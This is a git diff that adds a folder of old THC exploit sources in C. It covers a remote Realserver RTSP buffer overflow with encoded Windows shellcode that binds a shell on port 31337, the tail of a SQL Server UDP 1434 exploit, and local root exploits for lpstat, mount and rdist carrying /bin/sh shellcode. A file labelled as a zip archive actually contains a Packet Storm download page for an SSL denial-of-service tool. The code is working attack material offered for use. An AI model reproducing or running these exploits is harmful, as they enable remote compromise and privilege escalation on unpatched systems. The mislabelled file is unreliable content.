+    printf("\nok ... now try to connect to port 31337 via netcat !\n");\r
+  }\r
+  else\r
+   printf("can't connect to sql port udp 1434!\n");\r
+  \r
+  shutdown(sock,1);\r
+  closesocket(sock);\r
+  exit(0);\r
+}\r
+\r
+void usage()\r
+{\r
+ unsigned int a;\r
+ printf("\nUsage:  <Host>\n");\r
+ exit(0);\r
+}\r
diff --git a/Exploits/THCunREAL.c b/Exploits/THCunREAL.c
new file mode 100644 (file)
index 0000000..b999114
--- /dev/null
@@ -0,0 +1,151 @@
+/*****************************************************************************/\r
+/* THCunREAL 0.2 - Wind0wZ remote root exploit                               */\r
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
+/* THC PUBLIC SOURCE MATERIALS                                               */\r
+/*                                                                           */\r
+/* The exploit can be freely distributed !                                   */\r
+/*                                                                           */\r
+/* This is the much more reliable version of the Realserver < 8.0.2 exploit  */\r
+/* Tested with different OSes and Realserver Versions                        */\r
+/*                                                                           */\r
+/* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554     */\r
+/* i noticed that 99% of the probed machines are not up2date yet ! =;O)      */\r
+/*                                                                           */\r
+/* The shellcode is much shorter than the one in version 0.1 now and of      */\r
+/* course offsetless ! The encoder in front of the exploit is needed coz the */\r
+/* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !      */\r
+/*                                                                           */\r
+/* After successful exploitation of this bug, a commandshell should spawn on */\r
+/* TCP port 31337 ! Use netcat to connect to this port !                     */\r
+/*                                                                           */\r
+/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */\r
+/*                                                                           */\r
+/* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8    */\r
+/* runs on. I just know it's also exploitable on other OSs !                 */\r
+/* So if u wanna exploit other platforms, try to get Realserver 8 and use    */\r
+/* gdb to find out, how this can be exploited ! Good luck !                  */\r
+/*                                                                           */\r
+/* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib              */\r
+/*                                                                           */\r
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
+/* scut, stealth, zip, zilvio and the rest of the combo ......               */\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <string.h>\r
+#include <winsock2.h>\r
+\r
+char w32portshell[] =\r
+"\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"\r
+"\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"\r
+"\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"\r
+"\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"\r
+"\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"\r
+"\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"\r
+"\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"\r
+"\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"\r
+"\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"\r
+"\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"\r
+"\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"\r
+"\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"\r
+"\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"\r
+"\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"\r
+"\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"\r
+"\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"\r
+"\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"\r
+"\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"\r
+"\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"\r
+"\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"\r
+"\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"\r
+"\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"\r
+"\xca\x60\xd9\x5f\xca\xca\x60\xd5";\r
+\r
+void usage();\r
+\r
+int main(int argc, char *argv[])\r
+{  \r
+  unsigned short realport=554;\r
+  unsigned int sock,addr,i,rc;\r
+  unsigned char exploit_buffer[4132];\r
+  unsigned long retloc1,retloc2,retaddr;\r
+  struct sockaddr_in mytcp;\r
+  struct hostent * hp;\r
+  WSADATA wsaData;\r
+\r
+  printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");\r
+  printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
+\r
+  if(argc<2)\r
+   usage();\r
+\r
+ retloc1 = 0x6235108c; \r
+ retloc2 = 0x623514b6;\r
+ retaddr = 0x62354f5e;\r
+\r
+ memset(exploit_buffer,'Z',4131);\r
+ memcpy(exploit_buffer,"SETUP /",7);\r
+ *(unsigned long *)&exploit_buffer[4082] = retloc1;\r
+ *(unsigned long *)&exploit_buffer[4086] = retloc2;\r
+ memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));\r
+ *(unsigned long *)&exploit_buffer[4090] = retaddr;\r
+ memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);\r
+ memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);\r
\r
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
+  {\r
+   printf("WSAStartup failed !\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  hp = gethostbyname(argv[1]);\r
+\r
+  if (!hp){\r
+   addr = inet_addr(argv[1]);\r
+  }\r
+  if ((!hp)  && (addr == INADDR_NONE) )\r
+  {\r
+   printf("Unable to resolve %s\n",argv[1]);\r
+   exit(-1);\r
+  }\r
+\r
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+  if (!sock)\r
+  { \r
+   printf("socket() error...\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  if (hp != NULL)\r
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
+  else\r
+   mytcp.sin_addr.s_addr = addr;\r
+\r
+  if (hp)\r
+   mytcp.sin_family = hp->h_addrtype;\r
+  else\r
+   mytcp.sin_family = AF_INET;\r
+\r
+  mytcp.sin_port=htons(realport);\r
\r
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
+  if(rc==0)\r
+  {\r
+    send(sock,exploit_buffer,4131,0);\r
+    printf("\nexploit send .... sleeping a while ....\n");\r
+    Sleep(1000);\r
+    printf("\nok ... now try to connect to port 31337 via netcat !\n");\r
+  }\r
+  else\r
+   printf("can't connect to realserver port!\n");\r
+  \r
+  shutdown(sock,1);\r
+  closesocket(sock);\r
+  exit(0);\r
+}\r
\r
+void usage()\r
+{\r
+ printf("\nUsage:  <Host>\n");\r
+ exit(0);\r
+}\r
diff --git a/Exploits/lpstat.c b/Exploits/lpstat.c
new file mode 100644 (file)
index 0000000..ceb50f0
--- /dev/null
@@ -0,0 +1,64 @@
+/*
+ * lpstat sploit for solaris x86 2.6 and 2.7 
+ * by plasmoid/deep/thc <plasmoid@thc.org> (c) 1999
+ * supported by insected and wilkins
+ *
+ * THC - The Hacker's Choice
+ */
+
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+char shell[] =
+    "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
+    "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
+    "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
+    "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
+    "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
+    "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
+
+const int buffersize = 1100;
+const char x86_nop = 0x90;
+long nop, esp;
+long offset = 0;
+char buffer[2000];
+
+long get_esp()
+{
+    __asm__("movl %esp,%eax");
+}
+
+int main(int argc, char *argv[])
+{
+    int i;
+
+    /* you shouldn't edit the offset, we run with
+       800 nops in 1100 bytes buffer, one of those
+       nops should be hit */
+
+    if (argc > 1)
+       offset = strtol(argv[1], NULL, 0);
+
+    /* if you don't succeed, modify the nop count,
+       the standart value of 801 bybtes is quite
+       strange enuff */
+
+    if (argc > 2)
+       nop = strtoul(argv[2], NULL, 0);
+    else
+       nop = 801;
+
+    esp = get_esp();
+
+    memset(buffer, x86_nop, buffersize);
+    memcpy(buffer + nop, shell, strlen(shell));
+    for (i = nop + strlen(shell); i & lt; buffersize - 4; i += 4)
+       *((int *) &buffer[i]) = esp + offset;
+
+    execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);
+
+    printf("exec failed!\n");
+    return 0;
+}
diff --git a/Exploits/mount.c b/Exploits/mount.c
new file mode 100644 (file)
index 0000000..27543c0
--- /dev/null
@@ -0,0 +1,49 @@
+/*
+ * mount exploit for linux x86 < 2.0.10
+ * discovered by bloodmask&vio/couin
+ * coded by plasmoid/thc/deep for thc-magazine issue #3
+ * 12/12/96 - works also on umount 
+ */
+
+#include <stdio.h>
+
+#define lv_size  1024
+#define offset     30+lv_size+8*4
+
+long get_sp()
+{
+    __asm__("movl %esp, %eax");
+}
+
+void main(int argc, char **argv)
+{
+    char execshell[] =
+       "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
+       "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
+       "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
+
+    char buffer[lv_size + 4 * 8];
+    unsigned long *ptr2 = NULL;
+    char *ptr = NULL;
+    int i;
+
+    for (i = 0; i < lv_size + 4 * 8; i++)
+       buffer[i] = 0x00;
+
+    ptr = buffer;
+    for (i = 0; i < lv_size - strlen(execshell); i++)
+       *(ptr++) = 0x90;
+
+    for (i = 0; i < strlen(execshell); i++)
+       *(ptr++) = execshell[i];
+
+    ptr2 = (long *) ptr;
+    for (i = 1; i < 2; i++)
+       *(ptr2++) = get_sp() + offset;
+
+    printf("discovered by bloodmask&vio/couin\n"
+          "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
+
+    (void) alarm((int) 0);
+    execl("/bin/mount", "mount", buffer, NULL);
+}
diff --git a/Exploits/rdist.c b/Exploits/rdist.c
new file mode 100644 (file)
index 0000000..b7847b1
--- /dev/null
@@ -0,0 +1,50 @@
+/*
+ * rdist exploit for freebsd & bsd/os x86 2.0
+ * discovered by brian mitchell
+ * coded by plasmoid/thc/deep for thc-magazine issue #3
+ * 12/12/96
+ */
+
+#include <stdio.h>
+
+#define lv_size   256
+#define offset     30+lv_size+8*4
+
+long get_sp()
+{
+    __asm__("movl %esp, %eax");
+}
+
+
+main(int argc, char **argv)
+{
+    char execshell[] =
+       "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
+       "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
+       "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
+       "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
+
+    char buffer[lv_size + 4 * 8];
+    unsigned long *ptr2 = NULL;
+    char *ptr = NULL;
+    int i;
+
+    for (i = 0; i < lv_size + 4 * 8; i++)
+       buffer[i] = 0x00;
+
+    ptr = buffer;
+    for (i = 0; i < lv_size - strlen(execshell); i++)
+       *(ptr++) = 0x90;
+
+    for (i = 0; i < strlen(execshell); i++)
+       *(ptr++) = execshell[i];
+
+    ptr2 = (long *) ptr;
+    for (i = 1; i < 2; i++)
+       *(ptr2++) = get_sp() + offset;
+
+    printf("discovered by brian mitchell\n"
+          "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
+
+    execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
+}
diff --git a/Exploits/thc-ssl-dos-1.4-win-bin.zip b/Exploits/thc-ssl-dos-1.4-win-bin.zip
new file mode 100644 (file)
index 0000000..c80cc1d
--- /dev/null
@@ -0,0 +1,166 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
+<title>Download: THC SSL Denial Of Service Tool 1.4 Windows Version &#8776; Packet Storm</title>
+<meta name="description" content="Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers" />
+<meta name="keywords" content="security,exploit,advisory,whitepaper,xss,csrf,overflow,scanner,vulnerability" />
+<link rel="shortcut icon" href="/img/pss.ico" />
+<link rel="stylesheet" media="screen,print,handheld" href="https://packetstatic.com/css1523669067/pss.css" type="text/css" />
+<!--[if lt ie 8]><link rel="stylesheet" type="text/css" href="https://packetstatic.com/css1523669067/ie.css" /><![endif]-->
+<script type="text/javascript" src="https://packetstatic.com/js1523669067/pt.js"></script>
+<script type="text/javascript" src="https://packetstatic.com/js1523669067/pss.js"></script>
+<link rel="search" type="application/opensearchdescription+xml" href="https://packetstormsecurity.com/opensearch.xml" title="Packet Storm Site Search" />
+<link rel="alternate" type="application/rss+xml" title="Packet Storm Headlines" href="https://rss.packetstormsecurity.com/news/" />
+<link rel="alternate" type="application/rss+xml" title="Packet Storm Recent Files" href="https://rss.packetstormsecurity.com/files/" />
+<link rel="alternate" type="application/rss+xml" title="Packet Storm Exploits" href="https://rss.packetstormsecurity.com/files/tags/exploit/" />
+<link rel="alternate" type="application/rss+xml" title="Packet Storm Advisories" href="https://rss.packetstormsecurity.com/files/tags/advisory/" />
+</head>
+<body id="files">
+<div id="t">
+   <div id="tc">
+      <a id="top" href="/"><img src="https://packetstatic.com/img1514015884/ps_logo.png" width="315" height="65" id="logo" alt="packet storm" /></a>
+      <div id="slogan">Twenty Year Anniversary</div>
+      <div id="account"><a href="https://packetstormsecurity.com/account/register/">Register</a> | <a href="https://packetstormsecurity.com/account/login/">Login</a></div>
+      <div id="search">
+        <form method="get" action="/search/"><input type="text" name="q" id="q" maxlength="120" value="Search &#8230;" /><button type="submit"></button><div id="q-tabs"><label for="s-files" class="on">Files</label><label for="s-news">News</label><label for="s-users">Users</label><label for="s-authors">Authors</label><input type="radio" value="files" name="s" id="s-files" /><input type="radio" value="news" name="s" id="s-news" /><input type="radio" value="users" name="s" id="s-users" /><input type="radio" value="authors" name="s" id="s-authors" /></div></form>
+      </div>
+   </div>
+    <div id="tn"><div id="tnc">
+        <a href="/" id="tn-home"><span>Home</span></a> <a href="/files/" id="tn-files"><span>Files</span></a> <a href="/news/" id="tn-news"><span>News</span></a> <a href="/about/" id="tn-about"><span>About</span></a> <a href="/contact/" id="tn-contact"><span>Contact</span></a> <a href="/submit/" id="tn-submit"><span>Add New</span></a>
+    </div></div>
+    <div id="tn2"></div>
+</div>
+
+<div id="c">
+
+ <div id="cc">
+     <div id="m">
+    
+
+    
+    
+    
+    
+    <h1>Download</h1>
+
+<div id="msg" class="status">Your download should begin shortly.</div>
+
+<div class="file">
+ <dl>
+  <dt><h2>thc-ssl-dos-1.4-win-bin.zip <span>(1.6 MB)</span></h2></dt>
+  <dd class="md5"><span>MD5</span> | <code>7a40638354c8133ba93f966c31237518</code></dd>
+  <dd><a href="https://dl.packetstormsecurity.net/groups/thc/thc-ssl-dos-1.4-win-bin.zip" id="dl-link" rel="nofollow">Direct Download</a></dd>
+ </dl>
+</div>
+
+<script type="text/javascript">
+//<![CDATA[
+var dlTime = setTimeout("window.location=document.getElementById('dl-link').href;",3000); document.getElementById('dl-link').onClick=function(){clearTimeout(dlTime);}; 
+//]]>
+</script>
+
+    
+    
+     </div>
+    
+      <div id="adblock">
+        
+      </div>
+      <div id="mn">
+        <div class="mn-like-us">
+<ul>
+<li><a href="https://twitter.com/packet_storm"><img src="https://packetstatic.com/img1514015884/s_twitter.png" width="24" height="24" alt="Follow on Twitter" /> Follow us on Twitter</a></li>
+<li><a href="https://www.facebook.com/packetstormfeed"><img src="https://packetstatic.com/img1514015884/s_facebook.png" width="24" height="24" alt="Follow on Facebook" /> Follow us on Facebook</a></li>
+<li><a href="/feeds"><img src="https://packetstatic.com/img1514015884/s_rss.png" width="24" height="24" alt="View RSS Feeds" /> Subscribe to an RSS Feed</a></li>
+</ul>
+</div>
+<div id="mn-bc"><h2>Want To Donate?</h2><img src="/img/bc.png" /><br /><span>Bitcoin:</span> <b>18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU</b></div>
+<div>
+<form id="cal" action="/files/cal/" method="get">
+<h2>File Archive:</h2><h3>June 2018</h3>
+<button id="cal-prev" name="cal-prev" type="button" value="2018-6"><span>&lt;</span></button><ul class="dotw"><li>Su</li><li>Mo</li><li>Tu</li><li>We</li><li>Th</li><li>Fr</li><li>Sa</li></ul>
+<ul><li></li><li></li><li></li><li></li><li></li><li class="none"><a href="/files/date/2018-06-01/">1</a><div class="stats"><div class="point"></div><div class="date">Jun 1st</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-02/">2</a><div class="stats"><div class="point"></div><div class="date">Jun 2nd</div><div class="count">0 Files</div></div></li></ul>
+<ul><li class="none"><a href="/files/date/2018-06-03/">3</a><div class="stats"><div class="point"></div><div class="date">Jun 3rd</div><div class="count">0 Files</div></div></li><li class="none today"><a href="/files/date/2018-06-04/">4</a><div class="stats"><div class="point"></div><div class="date">Jun 4th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-05/">5</a><div class="stats"><div class="point"></div><div class="date">Jun 5th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-06/">6</a><div class="stats"><div class="point"></div><div class="date">Jun 6th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-07/">7</a><div class="stats"><div class="point"></div><div class="date">Jun 7th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-08/">8</a><div class="stats"><div class="point"></div><div class="date">Jun 8th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-09/">9</a><div class="stats"><div class="point"></div><div class="date">Jun 9th</div><div class="count">0 Files</div></div></li></ul>
+<ul><li class="none"><a href="/files/date/2018-06-10/">10</a><div class="stats"><div class="point"></div><div class="date">Jun 10th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-11/">11</a><div class="stats"><div class="point"></div><div class="date">Jun 11th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-12/">12</a><div class="stats"><div class="point"></div><div class="date">Jun 12th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-13/">13</a><div class="stats"><div class="point"></div><div class="date">Jun 13th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-14/">14</a><div class="stats"><div class="point"></div><div class="date">Jun 14th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-15/">15</a><div class="stats"><div class="point"></div><div class="date">Jun 15th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-16/">16</a><div class="stats"><div class="point"></div><div class="date">Jun 16th</div><div class="count">0 Files</div></div></li></ul>
+<ul><li class="none"><a href="/files/date/2018-06-17/">17</a><div class="stats"><div class="point"></div><div class="date">Jun 17th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-18/">18</a><div class="stats"><div class="point"></div><div class="date">Jun 18th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-19/">19</a><div class="stats"><div class="point"></div><div class="date">Jun 19th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-20/">20</a><div class="stats"><div class="point"></div><div class="date">Jun 20th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-21/">21</a><div class="stats"><div class="point"></div><div class="date">Jun 21st</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-22/">22</a><div class="stats"><div class="point"></div><div class="date">Jun 22nd</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-23/">23</a><div class="stats"><div class="point"></div><div class="date">Jun 23rd</div><div class="count">0 Files</div></div></li></ul>
+<ul><li class="none"><a href="/files/date/2018-06-24/">24</a><div class="stats"><div class="point"></div><div class="date">Jun 24th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-25/">25</a><div class="stats"><div class="point"></div><div class="date">Jun 25th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-26/">26</a><div class="stats"><div class="point"></div><div class="date">Jun 26th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-27/">27</a><div class="stats"><div class="point"></div><div class="date">Jun 27th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-28/">28</a><div class="stats"><div class="point"></div><div class="date">Jun 28th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-29/">29</a><div class="stats"><div class="point"></div><div class="date">Jun 29th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2018-06-30/">30</a><div class="stats"><div class="point"></div><div class="date">Jun 30th</div><div class="count">0 Files</div></div></li></ul>
+</form></div>
+<div id="mn-top-author" class="top-ten">
+<h2>Top Authors In Last 30 Days</h2>
+<ul>
+<li><a href="/files/authors/4676">Red Hat</a> <span>121 files</span></li>
+<li><a href="/files/authors/3695">Ubuntu</a> <span>39 files</span></li>
+<li><a href="/files/authors/13593">Ozkan Mustafa Akkus</a> <span>31 files</span></li>
+<li><a href="/files/authors/13376">Borna Nematzadeh</a> <span>23 files</span></li>
+<li><a href="/files/authors/2821">Debian</a> <span>19 files</span></li>
+<li><a href="/files/authors/3417">Gentoo</a> <span>12 files</span></li>
+<li><a href="/files/authors/13573">t4rkd3vilz</a> <span>12 files</span></li>
+<li><a href="/files/authors/5960">LiquidWorm</a> <span>12 files</span></li>
+<li><a href="/files/authors/11596">Google Security Research</a> <span>10 files</span></li>
+<li><a href="/files/authors/8982">Slackware Security Team</a> <span>9 files</span></li>
+</ul>
+</div>
+<div id="mn-tag-file"><h2>File Tags</h2><ul><li><a href="/files/tags/activex/">ActiveX</a> <span>(925)</span></li><li><a href="/files/tags/advisory/">Advisory</a> <span>(68,298)</span></li><li><a href="/files/tags/arbitrary/">Arbitrary</a> <span>(13,066)</span></li><li><a href="/files/tags/bbs/">BBS</a> <span>(2,859)</span></li><li><a href="/files/tags/bypass/">Bypass</a> <span>(1,105)</span></li><li><a href="/files/tags/cgi/">CGI</a> <span>(959)</span></li><li><a href="/files/tags/code_execution/">Code Execution</a> <span>(4,869)</span></li><li><a href="/files/tags/conference/">Conference</a> <span>(609)</span></li><li><a href="/files/tags/cracker/">Cracker</a> <span>(764)</span></li><li><a href="/files/tags/csrf/">CSRF</a> <span>(2,863)</span></li><li><a href="/files/tags/denial_of_service/">DoS</a> <span>(18,671)</span></li><li><a href="/files/tags/encryption/">Encryption</a> <span>(2,240)</span></li><li><a href="/files/tags/exploit/">Exploit</a> <span>(41,167)</span></li><li><a href="/files/tags/file_inclusion/">File Inclusion</a> <span>(3,889)</span></li><li><a href="/files/tags/file_upload/">File Upload</a> <span>(784)</span></li><li><a href="/files/tags/firewall/">Firewall</a> <span>(810)</span></li><li><a href="/files/tags/info_disclosure/">Info Disclosure</a> <span>(2,053)</span></li><li><a href="/files/tags/intrusion_detection/">Intrusion Detection</a> <span>(745)</span></li><li><a href="/files/tags/java/">Java</a> <span>(2,210)</span></li><li><a href="/files/tags/javascript/">JavaScript</a> <span>(656)</span></li><li><a href="/files/tags/kernel/">Kernel</a> <span>(4,702)</span></li><li><a href="/files/tags/local/">Local</a> <span>(12,877)</span></li><li><a href="/files/tags/magazine/">Magazine</a> <span>(561)</span></li><li><a href="/files/tags/overflow/">Overflow</a> <span>(10,420)</span></li><li><a href="/files/tags/perl/">Perl</a> <span>(1,350)</span></li><li><a href="/files/tags/php/">PHP</a> <span>(4,690)</span></li><li><a href="/files/tags/proof_of_concept/">Proof of Concept</a> <span>(1,970)</span></li><li><a href="/files/tags/protocol/">Protocol</a> <span>(2,671)</span></li><li><a href="/files/tags/python/">Python</a> <span>(1,077)</span></li><li><a href="/files/tags/remote/">Remote</a> <span>(25,822)</span></li><li><a href="/files/tags/root/">Root</a> <span>(3,064)</span></li><li><a href="/files/tags/scanner/">Scanner</a> <span>(1,511)</span></li><li><a href="/files/tags/tool/">Security Tool</a> <span>(6,891)</span></li><li><a href="/files/tags/shell/">Shell</a> <span>(2,617)</span></li><li><a href="/files/tags/shellcode/">Shellcode</a> <span>(998)</span></li><li><a href="/files/tags/sniffer/">Sniffer</a> <span>(837)</span></li><li><a href="/files/tags/spoof/">Spoof</a> <span>(1,899)</span></li><li><a href="/files/tags/sql_injection/">SQL Injection</a> <span>(14,618)</span></li><li><a href="/files/tags/tcp/">TCP</a> <span>(2,210)</span></li><li><a href="/files/tags/trojan/">Trojan</a> <span>(551)</span></li><li><a href="/files/tags/udp/">UDP</a> <span>(845)</span></li><li><a href="/files/tags/virus/">Virus</a> <span>(613)</span></li><li><a href="/files/tags/vulnerability/">Vulnerability</a> <span>(26,801)</span></li><li><a href="/files/tags/web/">Web</a> <span>(7,515)</span></li><li><a href="/files/tags/paper/">Whitepaper</a> <span>(3,361)</span></li><li><a href="/files/tags/x86/">x86</a> <span>(804)</span></li><li><a href="/files/tags/xss/">XSS</a> <span>(15,498)</span></li><li><a href="/files/tags/">Other</a></li></ul></div><div id="mn-arch-file"><h2>File Archives</h2><ul><li><a href="/files/date/2018-05/">May 2018</a></li><li><a href="/files/date/2018-04/">April 2018</a></li><li><a href="/files/date/2018-03/">March 2018</a></li><li><a href="/files/date/2018-02/">February 2018</a></li><li><a href="/files/date/2018-01/">January 2018</a></li><li><a href="/files/date/2017-12/">December 2017</a></li><li><a href="/files/date/2017-11/">November 2017</a></li><li><a href="/files/date/2017-10/">October 2017</a></li><li><a href="/files/date/2017-09/">September 2017</a></li><li><a href="/files/date/2017-08/">August 2017</a></li><li><a href="/files/date/2017-07/">July 2017</a></li><li><a href="/files/date/2017-06/">June 2017</a></li><li><a href="/files/date/">Older</a></li></ul></div><div id="mn-os-file"><h2>Systems</h2><ul><li><a href="/files/os/aix/">AIX</a> <span>(409)</span></li><li><a href="/files/os/apple/">Apple</a> <span>(1,546)</span></li><li><a href="/files/os/bsd/">BSD</a> <span>(335)</span></li><li><a href="/files/os/cisco/">Cisco</a> <span>(1,810)</span></li><li><a href="/files/os/debian/">Debian</a> <span>(5,516)</span></li><li><a href="/files/os/fedora/">Fedora</a> <span>(1,681)</span></li><li><a href="/files/os/freebsd/">FreeBSD</a> <span>(1,195)</span></li><li><a href="/files/os/gentoo/">Gentoo</a> <span>(3,576)</span></li><li><a href="/files/os/hpux/">HPUX</a> <span>(865)</span></li><li><a href="/files/os/ios/">iOS</a> <span>(173)</span></li><li><a href="/files/os/iphone/">iPhone</a> <span>(103)</span></li><li><a href="/files/os/irix/">IRIX</a> <span>(219)</span></li><li><a href="/files/os/juniper/">Juniper</a> <span>(66)</span></li><li><a href="/files/os/linux/">Linux</a> <span>(33,501)</span></li><li><a href="/files/os/osx/">Mac OS X</a> <span>(652)</span></li><li><a href="/files/os/mandriva/">Mandriva</a> <span>(3,105)</span></li><li><a href="/files/os/netbsd/">NetBSD</a> <span>(255)</span></li><li><a href="/files/os/openbsd/">OpenBSD</a> <span>(456)</span></li><li><a href="/files/os/redhat/">RedHat</a> <span>(6,554)</span></li><li><a href="/files/os/slackware/">Slackware</a> <span>(827)</span></li><li><a href="/files/os/solaris/">Solaris</a> <span>(1,569)</span></li><li><a href="/files/os/suse/">SUSE</a> <span>(1,444)</span></li><li><a href="/files/os/ubuntu/">Ubuntu</a> <span>(5,638)</span></li><li><a href="/files/os/unix/">UNIX</a> <span>(8,269)</span></li><li><a href="/files/os/unixware/">UnixWare</a> <span>(172)</span></li><li><a href="/files/os/windows/">Windows</a> <span>(5,336)</span></li><li><a href="/files/os/">Other</a></li></ul></div>
+      </div>
+
+  </div>
+
+</div>
+
+<div id="f">
+  <div id="fc">
+
+    <div class="f-box" style="margin: 50px 0 0 0;">
+        <a href="/"><img src="https://packetstatic.com/img1514015884/ps_logo.png" width="218" alt="packet storm" /></a>
